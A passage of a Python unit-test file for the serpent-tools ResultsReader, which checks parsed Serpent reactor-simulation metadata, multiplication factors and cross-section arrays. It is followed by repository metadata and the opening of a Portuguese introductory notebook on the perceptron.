with rc:\n            rc['serpentVersion'] = '2.1.29'\n            rc['xs.variableGroups'] = ['versions', 'gc-meta', 'xs',\n                                       'diffusion', 'eig', 'burnup-coeff']\n            rc['xs.getInfXS'] = True  # only store inf cross sections\n            rc['xs.getB1XS'] = False\n            self.reader = ResultsReader(self.file)\n            self.reader.read()\n        self.expectedinfValAbs = array([1.05040E-02, 1.23260E-01])\n\n    def test_allVarsNone(self):\n        \"\"\"Verify that the reader raises error when no time parameters are given\"\"\" # noqa\n        with self.assertRaises(ValueError):\n            self.reader.getUniv('0', burnup=None, index=None, timeDays=None)\n\n    def test_noUnivState(self):\n        \"\"\"Verify that the reader raises error when the state tuple does not exist\"\"\" # noqa\n        with self.assertRaises(KeyError):\n            self.reader.getUniv('0', burnup=50, index=10, timeDays=5)\n\n    def test_validUniv(self):\n        \"\"\"Verify that getUniv returns the correct universe\"\"\"\n        xsDict = self.reader.getUniv('0', burnup=0.0, index=0, timeDays=0.0)\n        assert_array_equal(xsDict.infExp['infAbs'], self.expectedinfValAbs)\n\n\nclass TesterCommonResultsReader(TestCase):\n    \"\"\"\n    Class with common tests for the results reader.\n\n    Expected failures/errors:\n\n        1. test_varsMatchSettings:\n                        compares the keys\n                        defined by the user to those\n                        obtained by the reader\n            Raises SerpentToolsException\n        2. test_metadata:\n                        Check that metadata variables and\n                        their values are properly stored\n            Raises SerpentToolsException\n        3. test_resdata:\n                        Check that time-dependent results variables\n                        and their values are properly stored\n            Raises SerpentToolsException\n        4. test_universes:\n                        Check that expected states are read\n                        i.e., ('univ', bu, buIdx, days)\n                        For a single state, check that\n                        infExp keys and values are stored.\n                        Check that infUnc and metadata are properly stored\n            Raises SerpentToolsException\n    \"\"\"\n\n    HAS_UNIV = True\n    HAS_BURNUP = True\n\n    def test_varsMatchSettings(self):\n        \"\"\"Verify that the obtained variables match the settings.\"\"\"\n        self.assertSetEqual(self.expVarSettings,\n                            self.reader.settings['variables'])\n\n    def test_metadata(self):\n        \"\"\"Verify that user-defined metadata is properly stored.\"\"\"\n        expectedKeys = set(self.expectedMetadata)\n        actualKeys = set(self.reader.metadata.keys())\n        self.assertSetEqual(expectedKeys, actualKeys)\n        for key, expectedValue in self.expectedMetadata.items():\n            if isinstance(expectedValue, str):\n                self.assertSetEqual(set(self.reader.metadata[key]),\n                                    set(expectedValue))\n            else:\n                assert_array_equal(self.reader.metadata[key], expectedValue)\n\n    def test_resdata(self):\n        \"\"\"Verify that results data is properly stored.\"\"\"\n        expectedKeys = self.expectedResdata\n        actualKeys = set(self.reader.resdata.keys())\n        self.assertSetEqual(expectedKeys, actualKeys)\n        assert_array_equal(self.reader.resdata['absKeff'], self.expectedKeff)\n\n        for key, value in self.reader.resdata.items():\n            assert self.reader[key] is value\n            assert self.reader.get(key) is value\n\n        with self.assertRaises(KeyError):\n            self.reader[\"invalid key\"]\n\n        self.assertIs(self.reader.get(\"invalid key\"), None)\n\n    def test_burnup(self):\n        \"\"\"Verify the burnup vector is properly stored.\"\"\"\n        actualBurnDays = self.reader.resdata.get('burnDays', None)\n        if actualBurnDays is None:\n            if self.HAS_BURNUP:\n                raise AttributeError(\n                    \"{} should have burnup, but does not\".format(self))\n            raise self.skipTest(\n                \"{} does not, and should not, have burnup\".format(self))\n        assert_array_equal(actualBurnDays, self.expectedDays)\n\n    def test_universes(self):\n        \"\"\"Verify that results for all states (univ, bu, buIdx, days) exist.\n           Verify that the containers for each state are properly\n           created and that the proper information is stored, e.g.\n           infExp keys and values\"\"\"\n        actualStates = set(self.reader.universes.keys())\n        if not actualStates:\n            if self.HAS_UNIV:\n                raise AttributeError(\n                    \"{} does not have universe data, but should\".format(self))\n            raise self.skipTest(\n                \"{} does not, and should not, have universe data\".format(self))\n        self.assertSetEqual(set(self.expectedStates), actualStates)\n        expSt0 = self.expectedStates[0]\n        expUniv = self.reader.universes[expSt0]\n        self.assertSetEqual(set(expUniv.infExp.keys()), self.expectedInfExp)\n        self.assertSetEqual(set(expUniv.gc.keys()), self.expectedUnivgcData)\n        assert_array_equal(expUniv.infExp['infFlx'], self.expectedInfVals)\n        assert_array_equal(expUniv.infUnc['infFlx'], self.expectedInfUnc)\n        assert_array_equal(expUniv.gc['cmmTranspxs'], self.expectedCMM)\n        assert_array_equal(expUniv.gcUnc['cmmTranspxs'], self.expectedCMMunc)\n        assert_array_equal(expUniv.groups, self.expectedGroups)\n        assert_array_equal(expUniv.microGroups, self.expectedMicroGroups)\n\n\nclass TestFilterResults(TesterCommonResultsReader):\n    \"\"\"\n    Test the ability to read and filter data.\n\n    Expected outcome:\n        1. test_varsMatchSettings:\n                        Results read are equal to results set\n        2. test_metadata:\n                        metadata is filtered\n        3. test_resdata:\n                        resdata is filtered\n        4. test_universes:\n                        univ is filtered\n    \"\"\"\n\n    expVarSettings = {\n        'VERSION', 'COMPILE_DATE', 'DEBUG', 'TITLE',\n        'CONFIDENTIAL_DATA', 'INPUT_FILE_NAME',\n        'WORKING_DIRECTORY', 'HOSTNAME', 'CPU_TYPE',\n        'CPU_MHZ', 'START_DATE', 'COMPLETE_DATE',\n        'GC_UNIVERSE_NAME', 'MICRO_NG', 'MICRO_E', 'MACRO_NG',\n        'MACRO_E', 'INF_MICRO_FLX', 'INF_KINF', 'INF_FLX',\n        'INF_FISS_FLX', 'TOT', 'CAPT', 'ABS', 'FISS', 'NSF',\n        'NUBAR', 'KAPPA', 'INVV', 'TRANSPXS', 'DIFFCOEF',\n        'RABSXS', 'REMXS', 'SCATT0', 'SCATT1', 'SCATT2',\n        'SCATT3', 'SCATT4', 'SCATT5', 'SCATT6', 'SCATT7',\n        'S0', 'S1', 'S2', 'S3', 'S4', 'S5', 'S6', 'S7',\n        'CHIT', 'CHIP', 'CHID', 'CMM_TRANSPXS',\n        'CMM_TRANSPXS_X', 'CMM_TRANSPXS_Y', 'CMM_TRANSPXS_Z',\n        'CMM_DIFFCOEF', 'CMM_DIFFCOEF_X', 'CMM_DIFFCOEF_Y',\n        'CMM_DIFFCOEF_Z', 'ANA_KEFF', 'IMP_KEFF', 'COL_KEFF',\n        'ABS_KEFF', 'ABS_KINF', 'GEOM_ALBEDO',\n        'BURN_MATERIALS', 'BURN_MODE', 'BURN_STEP', 'BURNUP',\n        'BURN_DAYS', 'COEF_IDX', 'COEF_BRANCH', 'COEF_BU_STEP',\n    }\n\n    expectedMetadata = {\n        'version': 'Serpent 2.1.29',\n        'compileDate': 'Jan  4 2018 17:22:46',\n        'debug': 0,\n        'title': 'pwr pin',\n        'confidentialData': 0,\n        'inputFileName': 'pwrPin',\n        'workingDirectory': '/home/ajohnson400/research/gpt-dep/testing/depmtx', # noqa\n        'hostname': 'ME04L0358GRD04',\n        'cpuType': 'Intel(R) Core(TM) i7-6700T CPU @ 2.80GHz',\n        'cpuMhz': 194.,\n        'startDate': 'Mon Feb 19 15:39:23 2018',\n        'completeDate': 'Mon Feb 19 15:39:53 2018',\n    }\n\n    expectedResdata = {\n        'absKeff', 'absKinf', 'anaKeff', 'burnDays',\n        'burnMaterials', 'burnMode', 'burnStep', 'burnup',\n        'colKeff', 'geomAlbedo', 'impKeff', 'nubar',\n    }\n\n    expectedKeff = array(\n        [[9.91938E-01, 0.00145], [1.81729E-01, 0.00240]])\n    expectedDays = array([[0.00000E+00], [5.00000E+00]])\n\n    expectedInfExp = {\n        'infAbs', 'infCapt', 'infChid', 'infChip', 'infChit',\n        'infDiffcoef', 'infFiss', 'infFissFlx', 'infFlx',\n        'infInvv', 'infKappa', 'infKinf', 'infMicroFlx',\n        'infNsf', 'infNubar', 'infRabsxs', 'infRemxs',\n        'infS0', 'infS1', 'infS2', 'infS3', 'infS4', 'infS5',\n        'infS6', 'infS7', 'infScatt0', 'infScatt1',\n        'infScatt2', 'infScatt3', 'infScatt4', 'infScatt5',\n        'infScatt6', 'infScatt7', 'infTot', 'infTranspxs',\n    }\n    expectedUnivgcData = {\n        'cmmDiffcoef', 'cmmDiffcoefX', 'cmmDiffcoefY',\n        'cmmDiffcoefZ', 'cmmTranspxs', 'cmmTranspxsX',\n        'cmmTranspxsY', 'cmmTranspxsZ',\n    }\n    expectedCMM = array([2.23062E-01, 6.55491E-01])\n    expectedCMMunc = array([0.00144, 0.03837])\n    expectedMicroGroups = (\n        array([1.00000E-11, 5.00000E-09, 1.00000E-08,\n               1.50000E-08, 2.00000E-08, 2.50000E-08,\n               3.00000E-08, 3.50000E-08, 4.20000E-08,\n               5.00000E-08, 5.80000E-08, 6.70000E-08,\n               8.00000E-08, 1.00000E-07, 1.40000E-07,\n               1.80000E-07, 2.20000E-07, 2.50000E-07,\n               2.80000E-07, 3.00000E-07, 3.20000E-07,\n               3.50000E-07, 4.00000E-07, 5.00000E-07,\n               6.25000E-07, 7.80000E-07, 8.50000E-07,\n               9.10000E-07, 9.50000E-07, 9.72000E-07,\n               9.96000E-07, 1.02000E-06, 1.04500E-06,\n               1.07100E-06, 1.09700E-06, 1.12300E-06,\n               1.15000E-06, 1.30000E-06, 1.50000E-06,\n               1.85500E-06, 2.10000E-06, 2.60000E-06,\n               3.30000E-06, 4.00000E-06, 9.87700E-06,\n               1.59680E-05, 2.77000E-05, 4.80520E-05,\n               7.55014E-05, 1.48728E-04, 3.67262E-04,\n               9.06898E-04, 1.42510E-03, 2.23945E-03,\n               3.51910E-03, 5.50000E-03, 9.11800E-03,\n               1.50300E-02, 2.47800E-02, 4.08500E-02,\n               6.74300E-02, 1.11000E-01, 1.83000E-01,\n               3.02500E-01, 5.00000E-01, 8.21000E-01,\n               1.35300E+00, 2.23100E+00, 3.67900E+00,\n               6.06550E+00, 2.00000E+01]))\n    expectedGroups = array(\n        [1.00000E+37, 6.25000E-07, 0.00000E+00])\n    expectedInfVals = array([2.46724E+18, 2.98999E+17])\n    expectedInfUnc = array([0.00115, 0.00311])\n\n    expectedStates = (('0', 0.0, 0, 0.0), ('0', 500, 1, 5.0))\n\n    def setUp(self):\n        self.file = getFile('pwr_res.m')\n        # universe id, burnup, step, days\n        with rc:\n            rc['serpentVersion'] = '2.1.29'\n            rc['xs.variableGroups'] = ['versions', 'gc-meta', 'xs',\n                                       'diffusion', 'eig', 'burnup-coeff']\n            rc['xs.getInfXS'] = True  # only store inf cross sections\n            rc['xs.getB1XS'] = False\n            self.reader = ResultsReader(self.file)\n            self.reader.read()\n\n\nclass TestReadAllResults(TesterCommonResultsReader):\n    \"\"\"\n    Read the full results file and do NOT filter.\n\n    Note:\n        The file was manually filtered to include\n        only the variables from 'TestFilterResults' class\n        No settings were defined and hence the reader\n        should read everything.\n\n    Expected outcome:\n        - Same variables and values as in the 'TestFilterResults' class\n        1. test_varsMatchSettings:\n                        Results read are equal to results set\n        2. test_metadata:\n                        metadata is not filtered\n        3. test_resdata:\n                        resdata is not filtered\n        4. test_universes:\n                        univ is not filtered\n    \"\"\"\n\n    expVarSettings = set()\n\n    expectedMetadata = {\n        'version': 'Serpent 2.1.29',\n        'compileDate': 'Jan  4 2018 17:22:46',\n        'debug': 0,\n        'title': 'pwr pin',\n        'confidentialData': 0,\n        'inputFileName': 'pwrPin',\n        'workingDirectory': '/home/ajohnson400/research/gpt-dep/testing/depmtx', # noqa\n        'hostname': 'ME04L0358GRD04',\n        'cpuType': 'Intel(R) Core(TM) i7-6700T CPU @ 2.80GHz',\n        'cpuMhz': 194.,\n        'startDate': 'Mon Feb 19 15:39:23 2018',\n        'completeDate': 'Mon Feb 19 15:39:53 2018',\n    }\n\n    expectedResdata = {\n        'absKeff', 'absKinf', 'anaKeff', 'burnDays',\n        'burnMaterials', 'burnMode', 'burnStep', 'burnup',\n        'colKeff', 'geomAlbedo', 'impKeff', 'nubar', 'minMacroxs',\n    }\n\n    expectedKeff = array(\n        [[9.91938E-01, 0.00145], [1.81729E-01, 0.00240]])\n    expectedDays = array([[0.00000E+00], [5.00000E+00]])\n\n    expectedInfExp = {\n        'infAbs', 'infCapt', 'infChid', 'infChip', 'infChit',\n        'infDiffcoef', 'infFiss', 'infFissFlx', 'infFlx',\n        'infInvv', 'infKappa', 'infKinf', 'infMicroFlx',\n        'infNsf', 'infNubar', 'infRabsxs', 'infRemxs',\n        'infS0', 'infS1', 'infS2', 'infS3', 'infS4', 'infS5',\n        'infS6', 'infS7', 'infScatt0', 'infScatt1',\n        'infScatt2', 'infScatt3', 'infScatt4', 'infScatt5',\n        'infScatt6', 'infScatt7', 'infTot', 'infTranspxs',\n    }\n    expectedUnivgcData = {\n        'cmmDiffcoef', 'cmmDiffcoefX', 'cmmDiffcoefY',\n        'cmmDiffcoefZ', 'cmmTranspxs', 'cmmTranspxsX',\n        'cmmTranspxsY', 'cmmTranspxsZ',\n    }\n    expectedCMM = array([2.23062E-01, 6.55491E-01])\n    expectedCMMunc = array([0.00144, 0.03837])\n    expectedMicroGroups = (\n        array([1.00000E-11, 5.00000E-09, 1.00000E-08,\n               1.50000E-08, 2.00000E-08, 2.50000E-08,\n               3.00000E-08, 3.50000E-08, 4.20000E-08,\n               5.00000E-08, 5.80000E-08, 6.70000E-08,\n               8.00000E-08, 1.00000E-07, 1.40000E-07,\n               1.80000E-07, 2.20000E-07, 2.50000E-07,\n               2.80000E-07, 3.00000E-07, 3.20000E-07,\n               3.50000E-07, 4.00000E-07, 5.00000E-07,\n               6.25000E-07, 7.80000E-07, 8.50000E-07,\n               9.10000E-07, 9.50000E-07, 9.72000E-07,\n               9.96000E-07, 1.02000E-06, 1.04500E-06,\n               1.07100E-06, 1.09700E-06, 1.12300E-06,\n               1.15000E-06, 1.30000E-06, 1.50000E-06,\n               1.85500E-06, 2.10000E-06, 2.60000E-06,\n               3.30000E-06, 4.00000E-06, 9.87700E-06,\n               1.59680E-05, 2.77000E-05, 4.80520E-05,\n               7.55014E-05, 1.48728E-04, 3.67262E-04,\n               9.06898E-04, 1.42510E-03, 2.23945E-03,\n               3.51910E-03, 5.50000E-03, 9.11800E-03,\n               1.50300E-02, 2.47800E-02, 4.08500E-02,\n               6.74300E-02, 1.11000E-01, 1.83000E-01,\n               3.02500E-01, 5.00000E-01, 8.21000E-01,\n               1.35300E+00, 2.23100E+00, 3.67900E+00,\n               6.06550E+00, 2.00000E+01]))\n    expectedGroups = array(\n        [1.00000E+37, 6.25000E-07, 0.00000E+00])\n    expectedInfVals = array([2.46724E+18, 2.98999E+17])\n    expectedInfUnc = array([0.00115, 0.00311])\n    expectedStates = (('0', 0.0, 0, 0.0), ('0', 500, 1, 5.0))\n\n    def setUp(self):\n        self.file = getFile('pwr_filter_res.m')\n        # universe id, burnup, step, days\n        with rc:\n            rc['serpentVersion'] = '2.1.29'\n            self.reader = ResultsReader(self.file)\n            self.reader.read()\n\n\nclass TestFilterResultsNoBurnup(TesterCommonResultsReader):\n    \"\"\"\n    Test the ability to read a file with no BU steps.\n\n    Expected outcome:\n        1. test_varsMatchSettings:\n                        Results read are equal to results set\n        2. test_metadata:\n                        metadata is filtered\n        3. test_resdata:\n                        resdata is filtered\n        4. test_universes:\n                        univ is filtered\n    \"\"\"\n\n    HAS_BURNUP = False\n    expVarSettings = {\n        'VERSION', 'COMPILE_DATE', 'DEBUG', 'TITLE',\n        'CONFIDENTIAL_DATA', 'INPUT_FILE_NAME',\n        'WORKING_DIRECTORY', 'HOSTNAME', 'CPU_TYPE',\n        'CPU_MHZ', 'START_DATE', 'COMPLETE_DATE',\n        'GC_UNIVERSE_NAME', 'MICRO_NG', 'MICRO_E', 'MACRO_NG',\n        'MACRO_E', 'INF_MICRO_FLX', 'INF_KINF', 'INF_FLX',\n        'INF_FISS_FLX', 'TOT', 'CAPT', 'ABS', 'FISS', 'NSF',\n        'NUBAR', 'KAPPA', 'INVV', 'TRANSPXS', 'DIFFCOEF',\n        'RABSXS', 'REMXS', 'SCATT0', 'SCATT1', 'SCATT2',\n        'SCATT3', 'SCATT4', 'SCATT5', 'SCATT6', 'SCATT7',\n        'S0', 'S1', 'S2', 'S3', 'S4', 'S5', 'S6', 'S7',\n        'CHIT', 'CHIP', 'CHID', 'CMM_TRANSPXS',\n        'CMM_TRANSPXS_X', 'CMM_TRANSPXS_Y', 'CMM_TRANSPXS_Z',\n        'CMM_DIFFCOEF', 'CMM_DIFFCOEF_X', 'CMM_DIFFCOEF_Y',\n        'CMM_DIFFCOEF_Z', 'ANA_KEFF', 'IMP_KEFF', 'COL_KEFF',\n        'ABS_KEFF', 'ABS_KINF', 'GEOM_ALBEDO',\n        'BURN_MATERIALS', 'BURN_MODE', 'BURN_STEP', 'BURNUP',\n        'BURN_DAYS', 'COEF_IDX', 'COEF_BRANCH', 'COEF_BU_STEP',\n    }\n\n    expectedMetadata = {\n        'version': 'Serpent 2.1.30',\n        'compileDate': 'Apr  4 2018 08:55:27',\n        'debug': 0,\n        'title': 'UO2 PIN MODEL',\n        'confidentialData': 0,\n        'inputFileName': 'pwr',\n        'workingDirectory': '/gpfs/pace1/project/me-kotlyar/dkotlyar6/Research/Serpent_test/FP_test', # noqa\n        'hostname': 'rich133-c36-10-l.pace.gatech.edu',\n        'cpuType': 'Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz',\n        'cpuMhz': 184549409.0,\n        'startDate': 'Mon May 14 11:20:06 2018',\n        'completeDate': 'Mon May 14 11:20:36 2018',\n    }\n\n    expectedResdata = {\n        'absKeff', 'absKinf', 'anaKeff', 'colKeff',\n        'geomAlbedo', 'impKeff', 'nubar',\n    }\n\n    expectedKeff = array([1.15295E+00, 0.00094])\n    expectedDays = array([])\n\n    expectedInfExp = {\n        'infAbs', 'infCapt', 'infChid', 'infChip', 'infChit',\n        'infDiffcoef', 'infFiss', 'infFissFlx', 'infFlx',\n        'infInvv', 'infKappa', 'infKinf', 'infMicroFlx',\n        'infNsf', 'infNubar', 'infRabsxs', 'infRemxs',\n        'infS0', 'infS1', 'infS2', 'infS3', 'infS4', 'infS5',\n        'infS6', 'infS7', 'infScatt0', 'infScatt1',\n        'infScatt2', 'infScatt3', 'infScatt4', 'infScatt5',\n        'infScatt6', 'infScatt7', 'infTot', 'infTranspxs',\n    }\n    expectedUnivgcData = {\n        'cmmDiffcoef', 'cmmDiffcoefX', 'cmmDiffcoefY',\n        'cmmDiffcoefZ', 'cmmTranspxs', 'cmmTranspxsX',\n        'cmmTranspxsY', 'cmmTranspxsZ',\n    }\n    expectedCMM = array([1.80522E-01, 4.44568E-01])\n    expectedCMMunc = array([0.00181, 0.01952])\n    expectedMicroGroups = (\n        array([1.00000E-11, 5.00000E-09, 1.00000E-08,\n               1.50000E-08, 2.00000E-08, 2.50000E-08,\n               3.00000E-08, 3.50000E-08, 4.20000E-08,\n               5.00000E-08, 5.80000E-08, 6.70000E-08,\n               8.00000E-08, 1.00000E-07, 1.40000E-07,\n               1.80000E-07, 2.20000E-07, 2.50000E-07,\n               2.80000E-07, 3.00000E-07, 3.20000E-07,\n               3.50000E-07, 4.00000E-07, 5.00000E-07,\n               6.25000E-07, 7.80000E-07, 8.50000E-07,\n               9.10000E-07, 9.50000E-07, 9.72000E-07,\n               9.96000E-07, 1.02000E-06, 1.04500E-06,\n               1.07100E-06, 1.09700E-06, 1.12300E-06,\n               1.15000E-06, 1.30000E-06, 1.50000E-06,\n               1.85500E-06, 2.10000E-06, 2.60000E-06,\n               3.30000E-06, 4.00000E-06, 9.87700E-06,\n               1.59680E-05, 2.77000E-05, 4.80520E-05,\n               7.55014E-05, 1.48728E-04, 3.67262E-04,\n               9.06898E-04, 1.42510E-03, 2.23945E-03,\n               3.51910E-03, 5.50000E-03, 9.11800E-03,\n               1.50300E-02, 2.47800E-02, 4.08500E-02,\n               6.74300E-02, 1.11000E-01, 1.83000E-01,\n               3.02500E-01, 5.00000E-01, 8.21000E-01,\n               1.35300E+00, 2.23100E+00, 3.67900E+00,\n               6.06550E+00, 2.00000E+01]))\n    expectedGroups = array(\n        [1.00000E+37, 6.25000E-07, 0.00000E+00])\n    expectedInfVals = array([8.71807E+14, 4.80974E+13])\n    expectedInfUnc = array([0.00097, 0.00121])\n    expectedStates = (('0', 0, 0, 0), ('0', 0, 0, 0))\n\n    def setUp(self):\n        self.file = getFile('pwr_noBU_res.m')\n        # universe id, Idx, Idx, Idx\n        with rc:\n            rc['xs.variableGroups'] = ['versions', 'gc-meta', 'xs',\n                                       'diffusion', 'eig', 'burnup-coeff']\n            rc['xs.getInfXS'] = True  # only store inf cross sections\n            rc['xs.getB1XS'] = False\n            self.reader = ResultsReader(self.file)\n            self.reader.read()\n\n\nclass TestResultsNoBurnNoGcu(TestFilterResultsNoBurnup):\n    \"\"\"Test with no group constant data present in the file.\"\"\"\n\n    HAS_UNIV = False\n\n    def setUp(self):\n        self.file = NO_BU_GCU_FILE\n        with rc:\n            rc['xs.variableGroups'] = ['versions', 'gc-meta', 'xs',\n                                       'diffusion', 'eig', 'burnup-coeff']\n            rc['xs.getInfXS'] = True  # only store inf cross sections\n            rc['xs.getB1XS'] = False\n            self.reader = ResultsReader(self.file)\n            self.reader.read()\n\n\nclass NoUniverseTester(Serp2129Helper):\n    \"\"\"Read a file ith burnup but no universes\"\"\"\n\n    def setUp(self):\n        filep = getFile(\"pwr_noUniv_res.m\")\n        self.reader = ResultsReader(filep)\n        self.reader.read()\n\n    def test_noUniverse(self):\n        expectedBurnup = array([\n            [0.00000E+00, 0.00000E+00],\n            [5.00000E+02, 5.00260E+02]])\n        expectedAbsKeff = array([\n            [9.91938E-01, 0.00145],\n            [1.81729E-01, 0.00240]])\n        self.assertEqual(0, len(self.reader.universes))\n        assert_array_equal(expectedBurnup, self.reader.resdata['burnup'])\n        assert_array_equal(expectedAbsKeff, self.reader.resdata['absKeff'])\n\n\nclass RestrictedResultsReader(Serp2129Helper):\n    \"\"\"Class that restricts the variables read from the results file\"\"\"\n\n    expectedInfFlux_bu0 = TestReadAllResults.expectedInfVals\n    expectedAbsKeff = TestReadAllResults.expectedKeff\n    dataFile = \"pwr_res.m\"\n\n    def _testUnivFlux(self, reader):\n        univ = reader.getUniv('0', index=0)\n        assert_array_equal(self.expectedInfFlux_bu0, univ.get(\"infFlx\"))\n\n    def test_justFlux(self):\n        \"\"\"Restrict the variables to gcu inf flux and verify their values\"\"\"\n        with rc:\n            rc['xs.variableExtras'] = [\"INF_FLX\", ]\n            r = readDataFile(self.dataFile)\n        self._testUnivFlux(r)\n\n    def test_xsGroups(self):\n        \"\"\"Restrict the variables groups to gc-meta to obtain flux and test.\"\"\"\n        with rc:\n            rc['xs.variableGroups'] = ['gc-meta', ]\n            r = readDataFile(self.dataFile)\n        self._testUnivFlux(r)\n\n    def test_fluxAndKeff(self):\n        \"\"\"Restrict to two unique parameters and verify their contents.\"\"\"\n        with rc:\n            rc['xs.variableExtras'] = ['ABS_KEFF', 'INF_FLX']\n            r = readDataFile(self.dataFile)\n        self._testUnivFlux(r)\n        assert_array_equal(self.expectedAbsKeff, r.resdata['absKeff'])\n\n\ndel TesterCommonResultsReader, Serp2129Helper\n\n\nclass ResPlotTester(TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        with rc:\n            rc['xs.variableExtras'] = [\n                'ABS_KEFF',\n                'TOT_CPU_TIME',\n                'BURN_DAYS',\n                'BURNUP',\n                'BURN_STEP',\n            ]\n            cls.reader = ResultsReader(getFile('InnerAssembly_res.m'))\n            cls.reader.read()\n\n    @plotTest\n    def test_singlePlot(self):\n        \"\"\"Test the plot capabilities of the ResultsReader\"\"\"\n        ax = self.reader.plot('absKeff', sigma=3)\n        plotAttrTest(\n            self, ax, xlabel=RESULTS_PLOT_XLABELS['burnDays'],\n            ylabel=\"absKeff$ \\\\pm 3\\\\sigma$\",\n        )\n\n        ax.clear()\n        newLabel = 'Multiplication factor'\n        self.reader.plot('burnup', {'absKeff': newLabel}, ax=ax, sigma=0,\n                         logx=True)\n        plotAttrTest(\n            self, ax, ylabel=newLabel, xscale='log',\n            xlabel=RESULTS_PLOT_XLABELS['burnup'],\n        )\n        # plot two quantities\n        ax.clear()\n        self.reader.plot('burnStep', ['absKeff', 'totCpuTime'], ax=ax,\n                         sigma=0, ylabel=\"ylabel\")\n        plotAttrTest(\n            self, ax, xlabel=RESULTS_PLOT_XLABELS['burnStep'],\n            ylabel=\"ylabel\", legendLabels=['absKeff', 'totCpuTime'],\n        )\n\n    @plotTest\n    def test_rightPlot(self):\n        \"\"\"Test plotting on left and right y axis\"\"\"\n        left, right = self.reader.plot('absKeff', sigma=0, right='totCpuTime')\n        plotAttrTest(\n            self, left, ylabel='absKeff',\n            legendLabels=['absKeff', 'totCpuTime [right]'],\n        )\n        plotAttrTest(\n            self, right, ylabel='totCpuTime',\n        )\n\n\nclass ResADFTester(TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        cls.reader = ResultsReader(ADF_FILE)\n        cls.reader.read()\n\n    def test_adf(self):\n        \"\"\"Verify the storage of ADF data\"\"\"\n        univ = self.reader.getUniv('0', index=0)\n        self.assertTrue(type(univ.infExp['infKinf']) is float)\n        self.assertEqual(1.15306, univ.infExp['infKinf'])\n        self.assertEqual(0.00127, univ.infUnc['infKinf'])\n        self.assertTrue(type(univ.gc['dfSurface']) is str)\n        self.assertEqual('ADF', univ.gc['dfSurface'])\n        self.assertTrue(type(univ.gc['dfSym']) is int)\n        self.assertEqual(1, univ.gc['dfSym'])\n        self.assertTrue(type(univ.gc['dfVolume']) is float)\n        self.assertEqual(4.62250E+02, univ.gc['dfVolume'])\n        assert_array_equal(\n            array([2.15000E+01, 2.15000E+01, 2.15000E+01, 2.15000E+01]),\n            univ.gc['dfSurfArea'])\n        assert_array_equal(array([\n            1.19014E+15, 1.99543E+14, 1.19014E+15, 1.99543E+14,\n            1.19014E+15, 1.99543E+14, 1.19014E+15, 1.99543E+14]),\n            univ.gc['dfSurfInCurr'])\n        self.assertTrue('dfSurfArea' not in univ.gcUnc)\n", "meta": {"hexsha": "4f084aa4dee3ab06fb05109c868e605e2982c47c", "size": 29977, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_ResultsReader.py", "max_stars_repo_name": "drewejohnson/serpent-tools", "max_stars_repo_head_hexsha": "f0cd518ee527c76c28141e888d3ff61ba1e1a8ff", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 40, "max_stars_repo_stars_event_min_datetime": "2017-09-15T19:18:06.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:13:33.000Z", "max_issues_repo_path": "tests/test_ResultsReader.py", "max_issues_repo_name": "sallustius/serpent-tools", "max_issues_repo_head_hexsha": "f61cd104bd997aa80429f1059bbc3669adc18654", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 215, "max_issues_repo_issues_event_min_datetime": "2017-09-19T14:10:40.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-26T21:31:25.000Z", "max_forks_repo_path": "tests/test_ResultsReader.py", "max_forks_repo_name": "drewejohnson/serpent-tools", "max_forks_repo_head_hexsha": "f0cd518ee527c76c28141e888d3ff61ba1e1a8ff", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 26, "max_forks_repo_forks_event_min_datetime": "2017-11-08T21:42:13.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-09T03:58:35.000Z", "avg_line_length": 39.4434210526, "max_line_length": 216, "alphanum_fraction": 0.5774093472, "include": true, "reason": "from numpy", "num_tokens": 9496, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.39606816627404173, "lm_q2_score": 0.17781087165651238, "lm_q1q2_score": 0.07042522588058384}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# **This notebook is for a Portuguese speaking audiance as part of a training session. Soon I will post it in English. **\n# \n# >\"Ent\u00e3o voc\u00ea n\u00e3o se lembra de um mundo sem rob\u00f4s.  Houve um tempo quando a humanidade enfrentou o universo sozinha e sem amigo. Agora ela tem criaturas para ajud\u00e1-la; criaturas mais fortes que si mesma, mais confi\u00e1veis,  mais \u00fateis e absolutamente devotas. A humanidade n\u00e3o mais est\u00e1 sozinha. Voc\u00ea j\u00e1 pensou nisso desta forma?\" <br>\n# I, Robot - Issac Asimov, 1950\n# \n# \n# # Uma breve hist\u00f3ria dos algoritmos que aprendem\n# \n# <br><br>\n# **Bem-vindos ao Laborat\u00f3rio Introdut\u00f3rio de Machine Learning!**\n# <br><br>\n# \n# Esse \u00e9 um dos livros que vamos  usar como refer\u00eancia [Python Machine Learning - Second Edition,\n# Raschka & Mirjalili, September-2017](https://www.packtpub.com/big-data-and-business-intelligence/python-machine-learning-second-edition)\n# \n# \n# O primeiro passo para iniciar nossos estudos  \u00e9 compreender que **Machine Learning (ML)** \u00e9 um sub-campo de pesquisa da **Intelelig\u00eancia Artificial (IA)** e,  portanto, n\u00e3o \u00e9 necessariamente seu sin\u00f4nimo como erroneamente sugerem alguns desavisados por ai.  ** Deep Learning (DL)** \u00e9 um dos t\u00f3picos de **Redes Neurais (NN's)** que por sua vez s\u00e3o uma das sub-\u00e1reas de **ML**.  N\u00e3o cometa o erro de confundir indistintamente Deep Learning com Machine Learning.\n# ![](https://blogs.nvidia.com/wp-content/uploads/2016/07/Deep_Learning_Icons_R5_PNG.jpg.png)\n# \n# \n# \n# # Peceptron\n# Algoritmos de aprendizagem n\u00e3o s\u00e3o um tema novo.  A defini\u00e7\u00e3o de neur\u00f4nio artificial, o **perceptron**, foi estabelecida no final da d\u00e9cada de 50 (The Perceptron: A Perceiving and Recognizing Automaton, F. Rosenblatt, Cornell Aeronautical Laboratory, 1957) e pode ser resumida na fun\u00e7\u00e3o abaixo:\n# \n# ![](https://www.dropbox.com/s/s0uvoloszvkg83x/00-Perceptron.jpg?dl=1)\n# \n# De forma simplificada, a sa\u00edda de um neur\u00f4nio artificial \u00e9 igual a soma do produto das entradas ***x*** pelos pesos ***w*** 